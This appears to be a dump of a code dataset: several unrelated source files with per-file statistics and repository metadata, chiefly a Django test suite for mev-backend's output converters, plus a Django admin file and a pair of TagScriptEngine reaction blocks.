@pulumi.getter(name="warnLevel") def warn_level(self) -> pulumi.Output[Optional[int]]: """ The Level of Risk. Valid values: * `1`: Weak warn Level. * `2`: Medium Risk Level. * `3`: High Risk Level. """ return pulumi.get(self, "warn_level")
38.636643
138
0.599184
4,335
37,748
5.026528
0.05075
0.100459
0.08481
0.08481
0.928821
0.913722
0.904222
0.893759
0.884351
0.864479
0
0.005589
0.284253
37,748
976
139
38.67623
0.800911
0.322348
0
0.840404
1
0
0.082738
0.001014
0
0
0
0
0
1
0.165657
false
0.00202
0.010101
0
0.274747
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
9f6d4bf9e11980b565468c0575fa9202f13c8bed
41,105
py
Python
mev/api/tests/test_output_converters.py
hsph-qbrc/mev-backend
c381800aa7d53d7256e89a4db5a0f9444264e9a6
[ "MIT" ]
null
null
null
mev/api/tests/test_output_converters.py
hsph-qbrc/mev-backend
c381800aa7d53d7256e89a4db5a0f9444264e9a6
[ "MIT" ]
null
null
null
mev/api/tests/test_output_converters.py
hsph-qbrc/mev-backend
c381800aa7d53d7256e89a4db5a0f9444264e9a6
[ "MIT" ]
null
null
null
import unittest import unittest.mock as mock import os import json import uuid from django.core.exceptions import ImproperlyConfigured from rest_framework.exceptions import ValidationError from api.tests.base import BaseAPITestCase from api.models import Workspace, \ Resource, \ ExecutedOperation, \ WorkspaceExecutedOperation, \ Operation from api.converters.output_converters import BaseOutputConverter from api.exceptions import OutputConversionException, StorageException # the api/tests dir TESTDIR = os.path.dirname(__file__) TESTDIR = os.path.join(TESTDIR, 'operation_test_files') class ExecutedOperationOutputConverterTester(BaseAPITestCase): def setUp(self): self.establish_clients() def test_basic_attribute_outputs(self): all_user_workspaces = Workspace.objects.filter(owner=self.regular_user_1) if len(all_user_workspaces) < 1: raise ImproperlyConfigured('Need at least one Workspace for the regular user.') workspace = all_user_workspaces[0] c = BaseOutputConverter() job_id = str(uuid.uuid4()) op = Operation.objects.all()[0] job_name = 'foo' executed_op = WorkspaceExecutedOperation.objects.create( id=job_id, workspace=workspace, owner=self.regular_user_1, inputs = {}, operation = op, mode = '', job_name = job_name ) j = json.load(open(os.path.join(TESTDIR, 'non_resource_outputs.json'))) output_definition = j['outputs']['pval'] return_val = c.convert_output(executed_op, workspace, output_definition, 0.2) self.assertEqual(return_val, 0.2) with self.assertRaises(OutputConversionException) as ex: return_val = c.convert_output(executed_op, workspace, output_definition, -0.2) output_definition = j['outputs']['some_integer'] with self.assertRaises(OutputConversionException) as ex: return_val = c.convert_output(executed_op, workspace, output_definition, 0.2) # we are strict and don't accept string-cast integers. output_definition = j['outputs']['some_integer'] with self.assertRaises(OutputConversionException) as ex: return_val = c.convert_output(executed_op, workspace, output_definition, '1') output_definition = j['outputs']['some_bool'] self.assertTrue(c.convert_output(executed_op, workspace, output_definition, True)) with self.assertRaises(OutputConversionException) as ex: return_val = c.convert_output(executed_op, workspace, output_definition, '1') class ResourceOutputTester(BaseAPITestCase): ''' This test class has tests that ensure the proper workings of methods related to validation and addition of resource outputs (i.e. both DataResource and VariableDataResource) ''' def setUp(self): self.establish_clients() all_user_workspaces = Workspace.objects.filter(owner=self.regular_user_1) if len(all_user_workspaces) < 1: raise ImproperlyConfigured('Need at least one Workspace for the regular user.') self.workspace = all_user_workspaces[0] self.converter = BaseOutputConverter() job_id = str(uuid.uuid4()) op = Operation.objects.all()[0] self.job_name = 'foo' self.executed_op = WorkspaceExecutedOperation.objects.create( id=job_id, workspace=self.workspace, owner=self.regular_user_1, inputs = {}, operation = op, mode = '', job_name = self.job_name ) def test_handle_storage_failure(self): resource_uuid = uuid.uuid4() mock_resource = mock.MagicMock() mock_resource.pk = resource_uuid self.converter.handle_storage_failure(mock_resource, False) mock_resource.delete.assert_called() mock_resource2 = mock.MagicMock() mock_resource2.pk = resource_uuid with self.assertRaises(OutputConversionException) as ex: self.converter.handle_storage_failure(mock_resource2, True) mock_resource2.delete.assert_called() @mock.patch('api.converters.output_converters.ResourceMetadata') @mock.patch('api.converters.output_converters.BaseOutputConverter.create_output_filename') @mock.patch('api.converters.output_converters.BaseOutputConverter.create_resource') @mock.patch('api.converters.output_converters.validate_and_store_resource') def test_resource_addition_makes_proper_calls(self, \ mock_validate_and_store_resource, \ mock_create_resource, \ mock_create_output_filename, \ mock_resourcemetadata_model ): ''' Test that all the expected calls are made when everything works as expected ''' mock_path = '/some/path/to/file.tsv' resource_type = 'MTX' output_required = True mock_name = 'foo.tsv' mock_create_output_filename.return_value = mock_name resource_uuid = uuid.uuid4() mock_resource = mock.MagicMock() mock_resource.resource_type = resource_type mock_resource.pk = resource_uuid mock_create_resource.return_value = mock_resource mock_resource_metadata_obj = mock.MagicMock() mock_resourcemetadata_model.objects.get.return_value = mock_resource_metadata_obj return_val = self.converter.attempt_resource_addition( self.executed_op, self.workspace, mock_path, resource_type, output_required ) mock_create_resource.assert_called_with( self.regular_user_1, self.workspace, mock_path, mock_name, output_required ) mock_validate_and_store_resource.assert_called_with(mock_resource, resource_type) mock_resourcemetadata_model.objects.get.assert_called() mock_resource_metadata_obj.save.assert_called() self.assertEqual(return_val, str(resource_uuid)) @mock.patch('api.converters.output_converters.ResourceMetadata') @mock.patch('api.converters.output_converters.BaseOutputConverter.handle_invalid_resource_type') @mock.patch('api.converters.output_converters.BaseOutputConverter.create_output_filename') @mock.patch('api.converters.output_converters.BaseOutputConverter.create_resource') @mock.patch('api.converters.output_converters.validate_and_store_resource') def test_resource_addition_makes_proper_calls_if_resource_type_invalid(self, \ mock_validate_and_store_resource, \ mock_create_resource, \ mock_create_output_filename, \ mock_handle_invalid_resource_type, \ mock_resourcemetadata_model ): ''' Test that all the expected calls are made when the validate_and_store method does not succeed in setting the resource type. This is mocked by setting a resource_type attribute on the mock Resource instance to something that is different than the expected resource type ''' mock_path = '/some/path/to/file.tsv' resource_type = 'MTX' other_resource_type = 'I_MTX' output_required = True mock_name = 'foo.tsv' mock_create_output_filename.return_value = mock_name resource_uuid = uuid.uuid4() mock_resource = mock.MagicMock() # note that we set the resource_type to something other # than the expected value, which mocks a validation # failure in the validate_and_store function mock_resource.resource_type = other_resource_type mock_resource.pk = resource_uuid mock_create_resource.return_value = mock_resource with self.assertRaises(OutputConversionException) as ex: return_val = self.converter.attempt_resource_addition( self.executed_op, self.workspace, mock_path, resource_type, output_required ) mock_create_resource.assert_called_with( self.regular_user_1, self.workspace, mock_path, mock_name, output_required ) mock_validate_and_store_resource.assert_called_with(mock_resource, resource_type) mock_resourcemetadata_model.objects.get.assert_not_called() mock_handle_invalid_resource_type.assert_called_with(mock_resource) @mock.patch('api.converters.output_converters.ResourceMetadata') @mock.patch('api.converters.output_converters.BaseOutputConverter.create_output_filename') @mock.patch('api.converters.output_converters.BaseOutputConverter.create_resource') @mock.patch('api.converters.output_converters.validate_and_store_resource') def test_resource_addition_makes_raises_ex(self, \ mock_validate_and_store_resource, \ mock_create_resource, \ mock_create_output_filename, \ mock_resourcemetadata_model ): ''' Test that we respond appropriately if an exception (a general exception) is raised by the validate_and_store_resource method ''' mock_validate_and_store_resource.side_effect = [Exception('oh no!')] mock_path = '/some/path/to/file.tsv' resource_type = 'MTX' output_required = True mock_name = 'foo.tsv' mock_create_output_filename.return_value = mock_name resource_uuid = uuid.uuid4() mock_resource = mock.MagicMock() mock_resource.resource_type = resource_type mock_resource.pk = resource_uuid mock_create_resource.return_value = mock_resource mock_resource_metadata_obj = mock.MagicMock() mock_resourcemetadata_model.objects.get.return_value = mock_resource_metadata_obj with self.assertRaises(Exception): self.converter.attempt_resource_addition( self.executed_op, self.workspace, mock_path, resource_type, output_required ) mock_create_resource.assert_called_with( self.regular_user_1, self.workspace, mock_path, mock_name, output_required ) mock_validate_and_store_resource.assert_called_with(mock_resource, resource_type) mock_resourcemetadata_model.objects.get.assert_not_called() mock_resource_metadata_obj.save.assert_not_called() @mock.patch('api.converters.output_converters.BaseOutputConverter.handle_storage_failure') @mock.patch('api.converters.output_converters.BaseOutputConverter.create_output_filename') @mock.patch('api.converters.output_converters.BaseOutputConverter.create_resource') @mock.patch('api.converters.output_converters.validate_and_store_resource') def test_resource_addition_makes_raises_storage_ex(self, \ mock_validate_and_store_resource, \ mock_create_resource, \ mock_create_output_filename, \ mock_handle_storage_failure ): ''' Test that we respond appropriately if a storage exception is raised. Here, the output was required, so there is no recovering StorageExceptions are raised if a predictable error happened, such as when Cromwell has an optional output but yet still returns a path to a non-existent file. ''' mock_validate_and_store_resource.side_effect = [StorageException('oh no!')] mock_handle_storage_failure.side_effect = [OutputConversionException('')] mock_path = '/some/path/to/file.tsv' resource_type = 'MTX' output_required = True mock_name = 'foo.tsv' mock_create_output_filename.return_value = mock_name resource_uuid = uuid.uuid4() mock_resource = mock.MagicMock() mock_resource.resource_type = resource_type mock_resource.pk = resource_uuid mock_create_resource.return_value = mock_resource with self.assertRaises(OutputConversionException): self.converter.attempt_resource_addition( self.executed_op, self.workspace, mock_path, resource_type, output_required ) mock_create_resource.assert_called_with( self.regular_user_1, self.workspace, mock_path, mock_name, output_required ) mock_validate_and_store_resource.assert_called_with(mock_resource, resource_type) mock_handle_storage_failure.assert_called_with(mock_resource, output_required) @mock.patch('api.converters.output_converters.ResourceMetadata') @mock.patch('api.converters.output_converters.BaseOutputConverter.handle_invalid_resource_type') @mock.patch('api.converters.output_converters.BaseOutputConverter.handle_storage_failure') @mock.patch('api.converters.output_converters.BaseOutputConverter.create_output_filename') @mock.patch('api.converters.output_converters.BaseOutputConverter.create_resource') @mock.patch('api.converters.output_converters.validate_and_store_resource') def test_resource_addition_makes_raises_storage_ex_for_optional_output(self, \ mock_validate_and_store_resource, \ mock_create_resource, \ mock_create_output_filename, \ mock_handle_storage_failure, \ mock_handle_invalid_resource_type, \ mock_resourcemetadata_model ): ''' Test that we respond appropriately if a storage exception is raised. Here, the output was NOT required, so we can safely move on StorageExceptions are raised if a predictable error happened, such as when Cromwell has an optional output but yet still returns a path to a non-existent file. ''' mock_validate_and_store_resource.side_effect = [StorageException('oh no!')] mock_handle_storage_failure.return_value = None mock_path = '/some/path/to/file.tsv' resource_type = 'MTX' output_required = True mock_name = 'foo.tsv' mock_create_output_filename.return_value = mock_name resource_uuid = uuid.uuid4() mock_resource = mock.MagicMock() mock_resource.resource_type = resource_type mock_resource.pk = resource_uuid mock_create_resource.return_value = mock_resource mock_resource_metadata_obj = mock.MagicMock() return_val = self.converter.attempt_resource_addition( self.executed_op, self.workspace, mock_path, resource_type, output_required ) # The function should return None instead of a UUID since the optional # resource had a storage failure self.assertIsNone(return_val) mock_create_resource.assert_called_with( self.regular_user_1, self.workspace, mock_path, mock_name, output_required ) mock_validate_and_store_resource.assert_called_with(mock_resource, resource_type) mock_handle_storage_failure.assert_called_with(mock_resource, output_required) # no metadata was added, etc. since there was no file to deal with mock_resourcemetadata_model.objects.get.assert_not_called() mock_handle_invalid_resource_type.assert_not_called() def test_create_output_filename(self): r = self.converter.create_output_filename('/some/random/path/myfile.tsv', 'myjob') self.assertEqual(r, 'myjob.myfile.tsv') r = self.converter.create_output_filename('/some/random/path/myfile.tsv', '') self.assertEqual(r, 'myfile.tsv') class DataResourceOutputConverterTester(BaseAPITestCase): ''' These tests check that outputs corresponding to DataResource instances are handled appropriately. Typically, they will check that the proper methods are called, but the methods themselves are mocked ''' def setUp(self): self.establish_clients() all_user_workspaces = Workspace.objects.filter(owner=self.regular_user_1) if len(all_user_workspaces) < 1: raise ImproperlyConfigured('Need at least one Workspace for the regular user.') self.workspace = all_user_workspaces[0] @mock.patch('api.converters.output_converters.BaseOutputConverter.attempt_resource_addition') def test_dataresource_converts_properly(self,mock_attempt_resource_addition): ''' When a DataResource is created as part of an ExecutedOperation, the outputs give it as a path (or list of paths). Here we test the single value The converter's job is to register that as a new file with the workspace and return the UUID of this new Resource ''' resource_type = 'MTX' resource_uuid = str(uuid.uuid4()) mock_attempt_resource_addition.return_value = resource_uuid c = BaseOutputConverter() job_id = str(uuid.uuid4()) op = Operation.objects.all()[0] job_name = 'foo' executed_op = WorkspaceExecutedOperation.objects.create( id=job_id, workspace=self.workspace, owner=self.regular_user_1, inputs = {}, operation = op, mode = '', job_name = job_name ) output_spec = { 'attribute_type': 'DataResource', 'many': False, 'resource_type': resource_type } output_definition = { 'required': True, 'spec': output_spec } mock_path = '/some/output/path.txt' return_val = c.convert_output(executed_op, self.workspace, output_definition, mock_path) mock_attempt_resource_addition.assert_called_with( executed_op, self.workspace, mock_path, resource_type, True ) self.assertEqual(return_val, str(resource_uuid)) @mock.patch('api.converters.output_converters.validate_and_store_resource') @mock.patch('api.converters.output_converters.ResourceMetadata') @mock.patch('api.converters.output_converters.BaseOutputConverter.attempt_resource_addition') def test_dataresource_converts_list_properly(self, mock_attempt_resource_addition, mock_resourcemetadata_model, mock_validate_and_store_resource): ''' When a DataResource is created as part of an ExecutedOperation, the outputs give it as a path (or list of paths). Here we test the list of paths The converter's job is to register that as a new file with the workspace and return the UUID of this new Resources ''' resource_type = 'MTX' resource1_uuid = str(uuid.uuid4()) resource2_uuid = str(uuid.uuid4()) mock_attempt_resource_addition.side_effect = [resource1_uuid, resource2_uuid] c = BaseOutputConverter() job_id = str(uuid.uuid4()) op = Operation.objects.all()[0] job_name = 'foo' executed_op = WorkspaceExecutedOperation.objects.create( id=job_id, workspace=self.workspace, owner=self.regular_user_1, inputs = {}, operation = op, mode = '', job_name = job_name ) output_spec = { 'attribute_type': 'DataResource', 'many': True, 'resource_type': resource_type } output_required = True output_definition = { 'required': output_required, 'spec': output_spec } mock_path1 = '/some/output/path1.txt' mock_path2 = '/some/output/path2.txt' return_val = c.convert_output(executed_op, self.workspace, output_definition, [ mock_path1, mock_path2 ] ) call1 = mock.call( executed_op, self.workspace, mock_path1, resource_type, output_required ) call2 = mock.call( executed_op, self.workspace, mock_path2, resource_type, output_required ) mock_attempt_resource_addition.assert_has_calls([ call1, call2 ]) self.assertCountEqual(return_val, [str(resource1_uuid), str(resource2_uuid)]) @mock.patch('api.converters.output_converters.BaseOutputConverter.cleanup') @mock.patch('api.converters.output_converters.BaseOutputConverter.attempt_resource_addition') def test_dataresource_failure_handled_properly_case1(self, mock_attempt_resource_addition, mock_clean): ''' Ensures that the cleanup method is called in the case where an exception is raised when attempting to add a resource (e.g. through failure to validate). Here, only a single file is requested (which fails) ''' mock_attempt_resource_addition.side_effect = OutputConversionException('something bad') c = BaseOutputConverter() job_id = str(uuid.uuid4()) op = Operation.objects.all()[0] job_name = 'foo' executed_op = WorkspaceExecutedOperation.objects.create( id=job_id, workspace=self.workspace, owner=self.regular_user_1, inputs = {}, operation = op, mode = '', job_name = job_name ) resource_type = 'MTX' output_spec = { 'attribute_type': 'DataResource', 'many': False, 'resource_type': resource_type } output_definition = { 'required': True, 'spec': output_spec } mock_path = '/some/output/path.txt' with self.assertRaises(OutputConversionException) as ex: c.convert_output(executed_op, self.workspace, output_definition, mock_path) mock_clean.assert_called_with([]) mock_attempt_resource_addition.assert_called_with( executed_op, self.workspace, mock_path, resource_type, True ) @mock.patch('api.converters.output_converters.BaseOutputConverter.cleanup') @mock.patch('api.converters.output_converters.BaseOutputConverter.attempt_resource_addition') def test_dataresource_failure_handled_properly_case2(self, mock_attempt_resource_addition, mock_clean): ''' Ensures that the cleanup method is called in the case where an exception is raised when attempting to add a resource (e.g. through failure to validate). Here, we test a situation where the first file passes but the second file fails. ''' mock_uuid = str(uuid.uuid4()) mock_attempt_resource_addition.side_effect = [ mock_uuid, OutputConversionException('something bad') ] c = BaseOutputConverter() job_id = str(uuid.uuid4()) op = Operation.objects.all()[0] job_name = 'foo' executed_op = WorkspaceExecutedOperation.objects.create( id=job_id, workspace=self.workspace, owner=self.regular_user_1, inputs = {}, operation = op, mode = '', job_name = job_name ) output_required = True resource_type = 'MTX' output_spec = { 'attribute_type': 'DataResource', 'many': True, 'resource_type': resource_type } output_definition = { 'required': output_required, 'spec': output_spec } mock_path1 = '/some/output/path1.txt' mock_path2 = '/some/output/path2.txt' mock_paths = [mock_path1, mock_path2] with self.assertRaises(OutputConversionException) as ex: c.convert_output(executed_op, self.workspace, output_definition, mock_paths) call1 = mock.call( executed_op, self.workspace, mock_path1, resource_type, output_required ) call2 = mock.call( executed_op, self.workspace, mock_path2, resource_type, output_required ) mock_attempt_resource_addition.assert_has_calls([ call1, call2 ]) mock_clean.assert_called_with([mock_uuid]) class VariableDataResourceOutputConverterTester(BaseAPITestCase): ''' These tests check that outputs corresponding to VariableDataResource instances are handled appropriately. Typically, they will check that the proper methods are called, but the methods themselves are mocked ''' def setUp(self): self.establish_clients() all_user_workspaces = Workspace.objects.filter(owner=self.regular_user_1) if len(all_user_workspaces) < 1: raise ImproperlyConfigured('Need at least one Workspace for the regular user.') self.workspace = all_user_workspaces[0] @mock.patch('api.converters.output_converters.BaseOutputConverter.attempt_resource_addition') def test_variabledataresource_conversion_failures_handled_properly(self, mock_attempt_resource_addition): ''' When a VariableDataResource is created as part of an ExecutedOperation, the outputs give it as an object with keys of `path` and `resource_type`. Recall that VariableDataResource instances allow us to dynamically set the resource type of the output files. The converter's job is to register that as a new file with the workspace and return the UUID of this new Resource Here, we test the various ways this conversion can fail due to improperly formatted "payloads" produced by the ExecutedOperation. Failures there are limited to those introduced by analysis tool developers (e.g. they did not produce a correctly formatted outputs.json as part of the analysis) ''' c = BaseOutputConverter() job_id = str(uuid.uuid4()) op = Operation.objects.all()[0] job_name = 'foo' executed_op = WorkspaceExecutedOperation.objects.create( id=job_id, workspace=self.workspace, owner=self.regular_user_1, inputs = {}, operation = op, mode = '', job_name = job_name ) output_spec = { 'attribute_type': 'VariableDataResource', 'many': False, 'resource_types': ['MTX', 'I_MTX'] } output_definition = { 'required': True, 'spec': output_spec } # try with a string "value" (should be a dict). This should raise # an exception since the resource type is not known otherwise with self.assertRaisesRegex(OutputConversionException, 'provided as an object/dict'): c.convert_output(executed_op, self.workspace, output_definition, '/some/output/path.txt') mock_attempt_resource_addition.assert_not_called() # try with a dict, but one that does not have the correct keys # (missing the resource_type key) mock_attempt_resource_addition.reset_mock() with self.assertRaisesRegex(OutputConversionException, 'resource_type') as ex: c.convert_output(executed_op, self.workspace, output_definition, { 'path':'/some/output/path.txt', } ) mock_attempt_resource_addition.assert_not_called() # try with a dict, but one that does not have the correct keys # (missing the path key) mock_attempt_resource_addition.reset_mock() with self.assertRaisesRegex(OutputConversionException, 'path') as ex: c.convert_output(executed_op, self.workspace, output_definition, { 'pathS':'/some/output/path.txt', 'resource_type': 'MTX' } ) mock_attempt_resource_addition.assert_not_called() # a resource_type that doesn't match the spec mock_attempt_resource_addition.reset_mock() with self.assertRaisesRegex(OutputConversionException, 'ANN'): c.convert_output(executed_op, self.workspace, output_definition, { 'path':'/some/output/path.txt', 'resource_type': 'ANN' } ) mock_attempt_resource_addition.assert_not_called() # the output is a list (with many =False set above) mock_attempt_resource_addition.reset_mock() with self.assertRaisesRegex(OutputConversionException, 'dict'): c.convert_output(executed_op, self.workspace, output_definition, [{ 'path':'/some/output/path.txt', 'resource_type': 'MTX' },] ) mock_attempt_resource_addition.assert_not_called() # change the output spec so that we accept multiple outputs (many=True) output_spec = { 'attribute_type': 'VariableDataResource', 'many': True, 'resource_types': ['MTX', 'I_MTX'] } output_definition = { 'required': True, 'spec': output_spec } # since many=True, then we should be passing a list of objects. Here, # we only pass a single object. mock_attempt_resource_addition.reset_mock() with self.assertRaisesRegex(OutputConversionException, 'expect a list') as ex: c.convert_output(executed_op, self.workspace, output_definition, { 'path':'/some/output/path.txt', 'resource_type': 'ANN' } ) mock_attempt_resource_addition.assert_not_called() # here, the first and only item has the wrong type mock_attempt_resource_addition.reset_mock() with self.assertRaisesRegex(OutputConversionException, 'ANN') as ex: c.convert_output(executed_op, self.workspace, output_definition, [{ 'path':'/some/output/path.txt', 'resource_type': 'ANN' }] ) mock_attempt_resource_addition.assert_not_called() @mock.patch('api.converters.output_converters.BaseOutputConverter.attempt_resource_addition') def test_variabledataresource_conversion_handled_properly(self, mock_attempt_resource_addition): ''' When a VariableDataResource is created as part of an ExecutedOperation, the outputs give it as an object with keys of `path` and `resource_type`. Recall that VariableDataResource instances allow us to dynamically set the resource type of the output files. The converter's job is to register that as a new file with the workspace and return the UUID of this new Resource ''' resource_type = 'MTX' resource_uuid = str(uuid.uuid4()) mock_attempt_resource_addition.return_value = resource_uuid c = BaseOutputConverter() job_id = str(uuid.uuid4()) op = Operation.objects.all()[0] job_name = 'foo' executed_op = WorkspaceExecutedOperation.objects.create( id=job_id, workspace=self.workspace, owner=self.regular_user_1, inputs = {}, operation = op, mode = '', job_name = job_name ) output_spec = { 'attribute_type': 'VariableDataResource', 'many': False, 'resource_types': ['MTX', 'I_MTX'] } output_definition = { 'required': True, 'spec': output_spec } # a good request- has the proper format for the output and the resource_type is # permitted (based on the output_spec) mock_path = '/some/output/path.txt' return_val = c.convert_output(executed_op, self.workspace, output_definition, { 'path': mock_path, 'resource_type': resource_type } ) expected_name = '{n}.path.txt'.format(n=job_name) mock_attempt_resource_addition.assert_called_with( executed_op, self.workspace, mock_path, resource_type, True ) self.assertEqual(return_val, str(resource_uuid)) @mock.patch('api.converters.output_converters.BaseOutputConverter.attempt_resource_addition') def test_variabledataresource_converts_properly_for_many(self, mock_attempt_resource_addition): ''' When a VariableDataResource is created as part of an ExecutedOperation, the outputs give it as a list of objects. Each of those objects has keys of `path` and `resource_type`. The converter's job is to register that as a new file with the workspace and return the UUID of this new Resource ''' resource_type = 'MTX' other_resource_type = 'I_MTX' resource1_uuid = str(uuid.uuid4()) resource2_uuid = str(uuid.uuid4()) mock_attempt_resource_addition.side_effect = [resource1_uuid, resource2_uuid] c = BaseOutputConverter() job_id = str(uuid.uuid4()) op = Operation.objects.all()[0] job_name = 'foo' executed_op = WorkspaceExecutedOperation.objects.create( id=job_id, workspace=self.workspace, owner=self.regular_user_1, inputs = {}, operation = op, mode = '', job_name = job_name ) output_spec = { 'attribute_type': 'VariableDataResource', 'many': True, 'resource_types': [resource_type, other_resource_type] } output_definition = { 'required': True, 'spec': output_spec } mock_path1 = '/some/output/path1.txt' mock_path2 = '/some/output/path2.txt' return_val = c.convert_output(executed_op, self.workspace, output_definition, [ { 'path':mock_path1, 'resource_type': resource_type }, { 'path':mock_path2, 'resource_type': resource_type } ] ) call1 = mock.call( executed_op, self.workspace, mock_path1, resource_type, True ) call2 = mock.call( executed_op, self.workspace, mock_path2, resource_type, True ) mock_attempt_resource_addition.assert_has_calls([ call1, call2 ]) self.assertCountEqual(return_val, [resource1_uuid, resource2_uuid]) @mock.patch('api.converters.output_converters.BaseOutputConverter.cleanup') @mock.patch('api.converters.output_converters.BaseOutputConverter.attempt_resource_addition') def test_variabledataresource_converts_properly_for_many_with_failure(self, mock_attempt_resource_addition, mock_clean): ''' Here we test that the proper cleanup method is called if one of the resources does not have a type that is acceptable for the expected operation outputs ''' unacceptable_resource_type = 'RNASEQ_COUNT_MTX' resource_type = 'MTX' other_resource_type = 'I_MTX' resource1_uuid = str(uuid.uuid4()) resource2_uuid = str(uuid.uuid4()) mock_attempt_resource_addition.return_value = resource1_uuid c = BaseOutputConverter() job_id = str(uuid.uuid4()) op = Operation.objects.all()[0] job_name = 'foo' executed_op = WorkspaceExecutedOperation.objects.create( id=job_id, workspace=self.workspace, owner=self.regular_user_1, inputs = {}, operation = op, mode = '', job_name = job_name ) # the spec allows two output types output_spec = { 'attribute_type': 'VariableDataResource', 'many': True, 'resource_types': [resource_type, other_resource_type] } output_definition = { 'required': True, 'spec': output_spec } mock_path1 = '/some/output/path1.txt' mock_path2 = '/some/output/path2.txt' with self.assertRaises(OutputConversionException): c.convert_output(executed_op, self.workspace, output_definition, [ { 'path':mock_path1, 'resource_type': resource_type }, # this second output does not have a correct resource # type for our operation { 'path':mock_path2, 'resource_type': unacceptable_resource_type } ] ) # check that the first output was fine and we call the method # that would add the resource mock_attempt_resource_addition.assert_has_calls([ mock.call(executed_op, self.workspace, mock_path1, resource_type, True )] ) # check that the cleanup method was called for the first resource # since we don't want to leave incomplete outputs mock_clean.assert_has_calls([ mock.call([resource1_uuid]) ] ) @mock.patch('api.converters.output_converters.BaseOutputConverter.cleanup') @mock.patch('api.converters.output_converters.BaseOutputConverter.attempt_resource_addition') def test_variabledataresource_converts_properly_for_many_with_failure_case2(self, mock_attempt_resource_addition, mock_clean): ''' Here we test that the proper cleanup method is called if one of the resources fails its validation () ''' resource_type = 'MTX' other_resource_type = 'I_MTX' resource1_uuid = str(uuid.uuid4()) resource2_uuid = str(uuid.uuid4()) # mock the situation where the first resource validates, but the # second raises an exception mock_attempt_resource_addition.side_effect = [resource1_uuid, OutputConversionException] c = BaseOutputConverter() job_id = str(uuid.uuid4()) op = Operation.objects.all()[0] job_name = 'foo' executed_op = WorkspaceExecutedOperation.objects.create( id=job_id, workspace=self.workspace, owner=self.regular_user_1, inputs = {}, operation = op, mode = '', job_name = job_name ) output_required = True # the spec allows two output types output_spec = { 'attribute_type': 'VariableDataResource', 'many': True, 'resource_types': [resource_type, other_resource_type] } output_definition = { 'required': output_required, 'spec': output_spec } mock_path1 = '/some/output/path1.txt' mock_path2 = '/some/output/path2.txt' with self.assertRaises(OutputConversionException): c.convert_output(executed_op, self.workspace, output_definition, [ { 'path':mock_path1, 'resource_type': resource_type }, # this second output does not have a correct resource # type for our operation { 'path':mock_path2, 'resource_type': resource_type } ] ) # check that we attempt to add both files. Recall that # we mocked a failure for the second. call1 = mock.call( executed_op, self.workspace, mock_path1, resource_type, output_required ) call2 = mock.call( executed_op, self.workspace, mock_path2, resource_type, output_required ) mock_attempt_resource_addition.assert_has_calls([call1, call2]) # check that the cleanup method was called for the first resource # since we don't want to leave incomplete outputs mock_clean.assert_has_calls([ mock.call([resource1_uuid]) ] )
38.741753
101
0.632745
4,404
41,105
5.627611
0.079473
0.051323
0.048257
0.045634
0.851921
0.846756
0.834248
0.82634
0.814961
0.810725
0
0.005462
0.291789
41,105
1,060
102
38.778302
0.8459
0.146065
0
0.744811
0
0
0.134806
0.093105
0
0
0
0
0.08547
1
0.025641
false
0
0.013431
0
0.043956
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
9f9da89e363a93cdb8c6478ec4831c30cd01b66e
205
py
Python
rippl/questing/admin.py
gnmerritt/dailyrippl
9a0f9615ba597a475dbd6305b589827cb2d97b03
[ "MIT" ]
6
2016-12-03T20:30:43.000Z
2017-01-10T01:50:09.000Z
rippl/questing/admin.py
gnmerritt/dailyrippl
9a0f9615ba597a475dbd6305b589827cb2d97b03
[ "MIT" ]
24
2016-11-30T02:31:13.000Z
2020-02-25T22:47:27.000Z
rippl/questing/admin.py
gnmerritt/dailyrippl
9a0f9615ba597a475dbd6305b589827cb2d97b03
[ "MIT" ]
1
2016-12-25T21:42:31.000Z
2016-12-25T21:42:31.000Z
from django.contrib import admin from . import models admin.site.register(models.Topic) admin.site.register(models.Quest) admin.site.register(models.QuestAttempt) admin.site.register(models.QuestStats)
20.5
40
0.819512
28
205
6
0.428571
0.214286
0.404762
0.547619
0
0
0
0
0
0
0
0
0.073171
205
9
41
22.777778
0.884211
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.333333
0
0.333333
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
7
9fa078cc7658d64936776441f876662324420b72
933
py
Python
tags/blocks/react.py
proguy914629bot/phen-cogs
dd19170fbd24b0d981b946fbb2ef7ad463c59504
[ "MIT" ]
1
2021-06-01T10:12:09.000Z
2021-06-01T10:12:09.000Z
tags/blocks/react.py
proguy914629bot/phen-cogs
dd19170fbd24b0d981b946fbb2ef7ad463c59504
[ "MIT" ]
null
null
null
tags/blocks/react.py
proguy914629bot/phen-cogs
dd19170fbd24b0d981b946fbb2ef7ad463c59504
[ "MIT" ]
null
null
null
from typing import Optional from TagScriptEngine import Interpreter, adapter from TagScriptEngine.interface import Block class ReactBlock(Block): def will_accept(self, ctx: Interpreter.Context) -> bool: dec = ctx.verb.declaration.lower() return dec == "react" def process(self, ctx: Interpreter.Context) -> Optional[str]: if not ctx.verb.parameter: return None ctx.response.actions["react"] = [arg.strip() for arg in ctx.verb.parameter.split(",")[:5]] return "" class ReactUBlock(Block): def will_accept(self, ctx: Interpreter.Context) -> bool: dec = ctx.verb.declaration.lower() return dec == "reactu" def process(self, ctx: Interpreter.Context) -> Optional[str]: if not ctx.verb.parameter: return None ctx.response.actions["reactu"] = [arg.strip() for arg in ctx.verb.parameter.split(",")[:5]] return ""
32.172414
99
0.646302
112
933
5.366071
0.357143
0.069884
0.1198
0.166389
0.735441
0.735441
0.735441
0.735441
0.735441
0.735441
0
0.002766
0.22508
933
28
100
33.321429
0.828492
0
0
0.571429
0
0
0.025723
0
0
0
0
0
0
1
0.190476
false
0
0.142857
0
0.714286
0
0
0
0
null
0
0
1
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
7
9fa47b3d62cd0782ef57e7fbf5b90648adf7034d
7,982
py
Python
tests/print_txt_test.py
measiala/PUMS_Data_Dictionary
6c36f018eeb93174a5e260416ad443ee17e0fc58
[ "MIT" ]
1
2021-08-28T09:01:49.000Z
2021-08-28T09:01:49.000Z
tests/print_txt_test.py
measiala/PUMS_Data_Dictionary
6c36f018eeb93174a5e260416ad443ee17e0fc58
